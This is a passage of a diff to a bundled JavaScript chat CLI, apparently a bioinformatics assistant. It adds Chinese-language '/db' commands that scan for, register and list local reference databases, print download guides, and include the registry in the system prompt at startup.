const report = scanForDatabases(extraDirs);
|
|
17249
|
+
if (report.found.length === 0) {
|
|
17250
|
+
console.log(source_default.yellow(" \u672A\u627E\u5230\u4EFB\u4F55\u5DF2\u77E5\u6570\u636E\u5E93\u6587\u4EF6"));
|
|
17251
|
+
console.log(source_default.dim(" \u63D0\u793A: \u53EF\u6307\u5B9A\u76EE\u5F55 /db scan /your/data/dir"));
|
|
17252
|
+
break;
|
|
17253
|
+
}
|
|
17254
|
+
console.log(source_default.bold(`
|
|
17255
|
+
\u626B\u63CF\u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\u6587\u4EF6:
|
|
17256
|
+
`));
|
|
17257
|
+
let addedCount = 0;
|
|
17258
|
+
for (const entry of report.found) {
|
|
17259
|
+
const exists = dbRegistry.databases[entry.id];
|
|
17260
|
+
if (exists) {
|
|
17261
|
+
console.log(source_default.dim(` [\u5DF2\u5B58\u5728] ${entry.label}`));
|
|
17262
|
+
continue;
|
|
17263
|
+
}
|
|
17264
|
+
dbRegistry.databases[entry.id] = entry;
|
|
17265
|
+
addedCount++;
|
|
17266
|
+
const size = entry.sizeBytes ? source_default.dim(` [${(entry.sizeBytes / 1e9).toFixed(1)}GB]`) : "";
|
|
17267
|
+
console.log(source_default.green(` [\u65B0\u589E] `) + `${entry.label}${size}`);
|
|
17268
|
+
console.log(source_default.dim(` ${entry.path}`));
|
|
17269
|
+
}
|
|
17270
|
+
if (addedCount > 0) {
|
|
17271
|
+
dbRegistry.lastScan = (/* @__PURE__ */ new Date()).toISOString();
|
|
17272
|
+
saveDbRegistry(dbRegistry);
|
|
17273
|
+
systemPrompt = buildSystemPrompt(buildDbPromptSection(dbRegistry));
|
|
17274
|
+
console.log(source_default.green(`
|
|
17275
|
+
\u2713 \u65B0\u589E ${addedCount} \u4E2A\u6570\u636E\u5E93\u5230\u6CE8\u518C\u8868`));
|
|
17276
|
+
} else {
|
|
17277
|
+
console.log(source_default.dim("\n \u65E0\u65B0\u589E\uFF08\u6240\u6709\u5DF2\u5728\u6CE8\u518C\u8868\u4E2D\uFF09"));
|
|
17278
|
+
}
|
|
17279
|
+
break;
|
|
17280
|
+
}
|
|
17281
|
+
case "download":
|
|
17282
|
+
case "dl": {
|
|
17283
|
+
const target = dbArg.trim() || "";
|
|
17284
|
+
if (!target) {
|
|
17285
|
+
console.log(source_default.bold("\n \u53EF\u4E0B\u8F7D\u7684\u6807\u51C6\u6570\u636E\u5E93:\n"));
|
|
17286
|
+
for (const [key, guide2] of Object.entries(DOWNLOAD_GUIDES)) {
|
|
17287
|
+
console.log(` ${source_default.cyan(key.padEnd(18))} ${guide2.label}`);
|
|
17288
|
+
}
|
|
17289
|
+
console.log(source_default.dim("\n \u7528\u6CD5: /db download hg38-fasta"));
|
|
17290
|
+
break;
|
|
17291
|
+
}
|
|
17292
|
+
const guide = DOWNLOAD_GUIDES[target];
|
|
17293
|
+
if (!guide) {
|
|
17294
|
+
console.log(source_default.red(`\u672A\u77E5\u6570\u636E\u5E93: ${target}`));
|
|
17295
|
+
console.log(source_default.dim("\u4F7F\u7528 /db download \u67E5\u770B\u53EF\u7528\u5217\u8868"));
|
|
17296
|
+
break;
|
|
17297
|
+
}
|
|
17298
|
+
console.log(source_default.bold(`
|
|
17299
|
+
\u4E0B\u8F7D\u6307\u5357: ${guide.label}
|
|
17300
|
+
`));
|
|
17301
|
+
guide.cmds.forEach((cmd2) => console.log(` ${source_default.cyan("$")} ${cmd2}`));
|
|
17302
|
+
console.log(source_default.dim("\n \u4E0B\u8F7D\u5B8C\u6210\u540E\u4F7F\u7528 /db add <\u8DEF\u5F84> \u6CE8\u518C"));
|
|
17303
|
+
break;
|
|
17304
|
+
}
|
|
17305
|
+
default:
|
|
17306
|
+
console.log(`\u7528\u6CD5: /db <list|add|rm|scan|download>`);
|
|
17307
|
+
console.log(source_default.dim(" /db list \u5217\u51FA\u5DF2\u6CE8\u518C\u6570\u636E\u5E93"));
|
|
17308
|
+
console.log(source_default.dim(" /db add <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C"));
|
|
17309
|
+
console.log(source_default.dim(" /db rm <id> \u5220\u9664\u8BB0\u5F55"));
|
|
17310
|
+
console.log(source_default.dim(" /db scan [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF"));
|
|
17311
|
+
console.log(source_default.dim(" /db download [\u540D\u79F0] \u663E\u793A\u4E0B\u8F7D\u6307\u5357"));
|
|
17312
|
+
}
|
|
17313
|
+
break;
|
|
17314
|
+
}
|
|
16660
17315
|
case "compact": {
|
|
16661
17316
|
const tokens = estimateTokens2(history);
|
|
16662
17317
|
if (history.length < 4) {
|
|
@@ -16828,8 +17483,8 @@ ${summary}` },
|
|
|
16828
17483
|
console.log("\u7528\u6CD5: /cd <\u8DEF\u5F84>");
|
|
16829
17484
|
break;
|
|
16830
17485
|
}
|
|
16831
|
-
const target = (0,
|
|
16832
|
-
if (!(0,
|
|
17486
|
+
const target = (0, import_path6.resolve)(arg.replace(/^~/, (0, import_os4.homedir)()));
|
|
17487
|
+
if (!(0, import_fs6.existsSync)(target)) {
|
|
16833
17488
|
console.log(source_default.red(`\u8DEF\u5F84\u4E0D\u5B58\u5728: ${target}`));
|
|
16834
17489
|
break;
|
|
16835
17490
|
}
|
|
@@ -16898,7 +17553,22 @@ async function main() {
|
|
|
16898
17553
|
}
|
|
16899
17554
|
console.log(source_default.dim(" \u8F93\u5165\u95EE\u9898\u5F00\u59CB\u5BF9\u8BDD /help \u67E5\u770B\u547D\u4EE4 /cat \u6280\u80FD\u5206\u7C7B @\u6587\u4EF6\u8DEF\u5F84 \u5185\u5D4C\u6587\u4EF6"));
|
|
16900
17555
|
console.log();
|
|
16901
|
-
|
|
17556
|
+
let dbRegistry2 = loadDbRegistry();
|
|
17557
|
+
if (Object.keys(dbRegistry2.databases).length === 0) {
|
|
17558
|
+
process.stdout.write(source_default.dim(" \u6B63\u5728\u81EA\u52A8\u626B\u63CF\u53C2\u8003\u6570\u636E\u5E93...\n"));
|
|
17559
|
+
const report = scanForDatabases([]);
|
|
17560
|
+
if (report.found.length > 0) {
|
|
17561
|
+
for (const entry of report.found) dbRegistry2.databases[entry.id] = entry;
|
|
17562
|
+
dbRegistry2.lastScan = (/* @__PURE__ */ new Date()).toISOString();
|
|
17563
|
+
saveDbRegistry(dbRegistry2);
|
|
17564
|
+
process.stdout.write(source_default.green(` \u2713 \u53D1\u73B0 ${report.found.length} \u4E2A\u6570\u636E\u5E93\uFF0C\u5DF2\u81EA\u52A8\u6CE8\u518C (/db list \u67E5\u770B)
|
|
17565
|
+
`));
|
|
17566
|
+
} else {
|
|
17567
|
+
process.stdout.write(source_default.dim(" \u672A\u53D1\u73B0\u5DF2\u77E5\u6570\u636E\u5E93\uFF08\u53EF\u7528 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09\n"));
|
|
17568
|
+
}
|
|
17569
|
+
console.log();
|
|
17570
|
+
}
|
|
17571
|
+
let systemPrompt2 = buildSystemPrompt(buildDbPromptSection(dbRegistry2));
|
|
16902
17572
|
let history = [];
|
|
16903
17573
|
let thinkMode = false;
|
|
16904
17574
|
const injectedSkills = /* @__PURE__ */ new Map();
|
|
@@ -16986,7 +17656,7 @@ ${expanded}` : expanded;
|
|
|
16986
17656
|
history.push({ role: "user", content: userContent });
|
|
16987
17657
|
try {
|
|
16988
17658
|
const currentCfg = loadConfig();
|
|
16989
|
-
const reply = await chat(history, currentCfg,
|
|
17659
|
+
const reply = await chat(history, currentCfg, systemPrompt2);
|
|
16990
17660
|
history.push({ role: "assistant", content: reply });
|
|
16991
17661
|
history = await maybeCompact(history, currentCfg);
|
|
16992
17662
|
autoSaveSession();
|
|
@@ -17011,8 +17681,8 @@ ${expanded}` : expanded;
|
|
|
17011
17681
|
}
|
|
17012
17682
|
}
|
|
17013
17683
|
function question(rl, prompt) {
|
|
17014
|
-
return new Promise((
|
|
17015
|
-
rl.question(prompt,
|
|
17684
|
+
return new Promise((resolve4, reject) => {
|
|
17685
|
+
rl.question(prompt, resolve4);
|
|
17016
17686
|
rl.once("close", () => reject(new Error("closed")));
|
|
17017
17687
|
});
|
|
17018
17688
|
}
|